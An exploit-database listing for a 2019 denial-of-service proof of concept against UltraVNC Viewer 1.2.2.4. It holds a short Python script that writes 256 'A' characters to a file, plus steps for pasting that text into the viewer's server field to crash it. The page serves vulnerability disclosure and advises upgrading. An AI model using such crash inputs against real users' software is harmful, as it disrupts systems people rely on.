header-logo
Suggest Exploit
vendor:
UltraVNC Viewer
by:
Victor Mondragón
7.8
CVSS
HIGH
Denial of Service
20
CWE
Product Name: UltraVNC Viewer
Affected Version From: 1.2.2.4
Affected Version To: 1.2.2.4
Patch Exists: YES
Related CWE: N/A
CPE: a:uvnc:ultravnc:1.2.2.4
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7 x64 Service Pack 1
2019

UltraVNC Viewer 1.2.2.4 – Denial of Service (PoC)

A denial of service vulnerability exists in UltraVNC Viewer 1.2.2.4 due to a lack of proper validation of user-supplied data, which can be exploited by an attacker to crash the application. An attacker can send a specially crafted file containing 256 'A' characters to trigger this vulnerability.

Mitigation:

Upgrade to the latest version of UltraVNC Viewer.
Source

Exploit-DB raw data:

#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
#2.- Open UltraViewer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraViewer.txt', 'w')
f.write(cod)
f.close()

Navigation

Suggest Exploit

Services By CQR